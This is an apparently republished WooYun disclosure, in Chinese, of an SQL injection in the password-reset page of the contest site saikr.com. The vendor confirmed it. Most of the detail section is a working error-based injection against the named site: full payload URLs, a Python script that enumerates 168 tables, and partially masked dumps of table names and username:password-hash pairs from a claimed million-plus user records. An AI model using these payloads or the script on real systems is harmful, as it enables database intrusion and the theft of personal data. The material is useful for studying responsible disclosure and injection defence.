赛氪网注入漏洞数万比赛队伍+百万用户信息泄露

admin 2017年4月13日17:20:40评论378 views字数 219阅读0分43秒阅读模式
摘要

2016-04-01: 细节已通知厂商并且等待厂商处理中
2016-04-04: 厂商已经确认,细节仅向厂商公开
2016-04-14: 细节向核心白帽子及相关领域专家公开
2016-04-24: 细节向普通白帽子公开
2016-05-04: 细节向实习白帽子公开
2016-05-19: 细节向公众公开

漏洞概要 关注数(6) 关注此漏洞

缺陷编号: WooYun-2016-191524

漏洞标题: 赛氪网注入漏洞数万比赛队伍+百万用户信息泄露

相关厂商: saikr.com

漏洞作者: Xman

提交时间: 2016-04-01 21:11

公开时间: 2016-05-19 03:40

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: php+数字类型注射

6人收藏


漏洞详情

披露状态:

2016-04-01: 细节已通知厂商并且等待厂商处理中
2016-04-04: 厂商已经确认,细节仅向厂商公开
2016-04-14: 细节向核心白帽子及相关领域专家公开
2016-04-24: 细节向普通白帽子公开
2016-05-04: 细节向实习白帽子公开
2016-05-19: 细节向公众公开

简要描述:

只是想单纯的参加个数学建模比赛,手一抖报错了ε=ε=ε=(~ ̄▽ ̄)~

详细说明:

URL:http://www.saikr.com

注入位置在密码找回的操作中,首先选择找回密码

赛氪网注入漏洞数万比赛队伍+百万用户信息泄露

填入邮箱获取验证码,然后跳转到如下界面

赛氪网注入漏洞数万比赛队伍+百万用户信息泄露

这个界面对应的url就存在sql注入

赛氪网注入漏洞数万比赛队伍+百万用户信息泄露

将其放到sqlmap中,也检测出注入

赛氪网注入漏洞数万比赛队伍+百万用户信息泄露

但总是出现timeout错误,于是开始手注

1、获取数据库名

code 区域
http://www.saikr.com/user/changePasswd?cid=39506' union select (select 1 from (select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b),2,3,4,5 or '1'='1
code 区域
Duplicate entry '::worldjingsai::0' for key 'group_key'

2、获取用户名

code 区域
http://www.saikr.com/user/changePasswd
?cid=39506' union select (select 1 from (select count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b),2,3,4,5 or '1'='1
code 区域
Duplicate entry '::10.252.122.71:58089::0' for key 'group_key'

3、获取当前数据库中的所有表

赛氪网注入漏洞数万比赛队伍+百万用户信息泄露

168个表,写程序跑

code 区域
import requests
import re

url = "http://www.saikr.com/user/changePasswd?cid=39506"
payload1 = "' union select (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit "
payload2 = ",1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b),2,3,4,5 or '1'='1"

def hack():
for i in range(168):
while 1:
try:
r = requests.get(url+payload1+str(i)+payload2)
if "Duplicate" in r.text:
m = re.search(r"(?<=Duplicate entry '::).*(?=::)",r.text)
print m.group(0)
break
except:
pass

if __name__=="__main__":
hack()
mask 区域
*****tiv*****
*****omment*****
*****_comm*****
*****ve_d*****
*****ve_m*****
*****tic*****
*****e_com*****
*****e_con*****
*****at*****
*****ack*****
*****sh_*****
*****gori*****
*****k_co*****
*****ci*****
*****mme*****
*****any_*****
*****y_pro*****
*****nte*****
*****t_amo*****
*****t_arr*****
*****est_*****
*****est_*****
*****commen*****
*****t_con*****
*****t_con*****
*****t_det*****
*****t_fol*****
*****est_*****
*****t_mes*****
*****messag*****
*****regist*****
*****t_spe*****
*****specia*****
*****its_*****
*****its_*****
*****its_*****
*****s_rul*****
*****str*****
*****nam*****
*****ns_*****
*****ns_*****
*****ns_*****
*****ns_*****
*****ns_*****
*****ns_*****
*****ns_*****
*****ns_*****
*****ns_*****
*****ns_*****
*****vor*****
*****atu*****
*****fe*****
*****ommen*****
*****_com*****
*****ed_*****
*****edb*****
*****rum*****
*****oup*****
*****p_cl*****
*****p_in*****
*****p_us*****
*****_sch*****
*****nor*****
*****nor*****
*****cont*****
*****scho*****
*****age*****
*****x_da*****
*****dus*****
*****urn*****
*****commen*****
*****l_com*****
*****l_con*****
*****l_con*****
*****contes*****
*****nal_*****
*****l_key*****
*****l_sch*****
*****ywo*****
*****nks*****
*****lo*****
*****er_c*****
*****age_*****
*****le_s*****
*****ne*****
*****_cla*****
*****_com*****
*****ommen*****
*****_con*****
*****ws_*****
*****ce_c*****
*****der*****
*****gin*****
*****pa*****
*****nic_sc*****
*****sit*****
*****po*****
*****_com*****
*****st_*****
*****ovi*****
*****om_p*****
*****end_f*****
*****por*****
*****ro*****
*****_act*****
*****_mod*****
*****_num*****
*****tti*****
*****te_*****
*****_mess*****
*****ta*****
*****_rel*****
*****te*****
*****_col*****
*****rea*****
*****omment*****
*****_comm*****
*****_cont*****
*****ad_d*****
*****_keyw*****
*****rea*****
*****pic*****
*****ersi*****
*****ty_col*****
*****ty_con*****
*****us*****
*****_acc*****
*****pp_to*****
*****_col*****
*****test_c*****
*****test_f*****
*****_fol*****
*****_fol*****
*****_fol*****
*****_fol*****
*****_fol*****
*****_fol*****
*****_fol*****
*****_fol*****
*****_fol*****
*****_fol*****
*****_fol*****
*****_gro*****
*****_hon*****
*****_inv*****
*****_log*****
*****_loo*****
*****_loo*****
*****_loo*****
*****_loo*****
*****_loo*****
*****_loo*****
*****_loo*****
*****_loo*****
*****_loo*****
*****_loo*****
*****sage_b*****
*****sage_i*****
*****_not*****
*****_pro*****
*****_sch*****
*****er_*****
*****_tag*****
*****_top*****
*****_vis*****
*****er_*****
*****ers*****
*****acces*****

4、获取数据

其中sb_user和sb_users表中共100多万的用户数据

赛氪网注入漏洞数万比赛队伍+百万用户信息泄露

赛氪网注入漏洞数万比赛队伍+百万用户信息泄露

获取其中前30条的数据,正则有点问题,密码不太对

mask 区域
*****9fd008e77e6d10e*****
*****t:96b7a36cedeef*****
*****78e0c32afc5531f*****
*****:d0615e735b0a2e*****
*****瑜:200747dd5a*****
*****山雨:14a48e4*****
*****e22480f3283c23b*****
*****光:c40991061d8*****
*****ry:c468caf13d4a*****
*****enjunxiang:2c0c*****
*****Ier:473c51455e6*****
*****aa43889c36ad7a8*****
*****59bc138ee3a8b8b*****
*****:hello:584fbdf9*****
*****:f8c6d6c19834b8*****
*****jingwen:e8ef7a0*****
*****ing_chinam:16fd*****
*****度:55244f636c*****
*****:cf63523d5d3ab9*****
*****engyun:f83bd99f*****
*****0823006:38532d4*****
*****m:mathsmodeling*****
*****JosephLow:54ce9*****
*****州woaini:863*****
*****经年:c6221e*****
*****时代:52f8fb*****
*****:dd010fdc148d*****
*****lvisota:f591096*****
*****:5efb6bf0c573f*****
*****达:eb57c524c*****

还3万多份比赛相关资料

code 区域
http://www.saikr.com/user/changePasswd?cid=39506' union select (select 1 from (select count(*),concat(0x3a,0x3a,(select count(contest_id) from sb_contest),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b),2,3,4,5 or '1'='1

赛氪网注入漏洞数万比赛队伍+百万用户信息泄露

5万多分比赛队伍相关信息

赛氪网注入漏洞数万比赛队伍+百万用户信息泄露

其他的就没再看了

漏洞证明:

赛氪网注入漏洞数万比赛队伍+百万用户信息泄露

赛氪网注入漏洞数万比赛队伍+百万用户信息泄露

修复方案:

过滤

版权声明:转载请注明来源 Xman@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-04-04 03:33

厂商回复:

危害等级为高危,企业内部会尽快修复。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin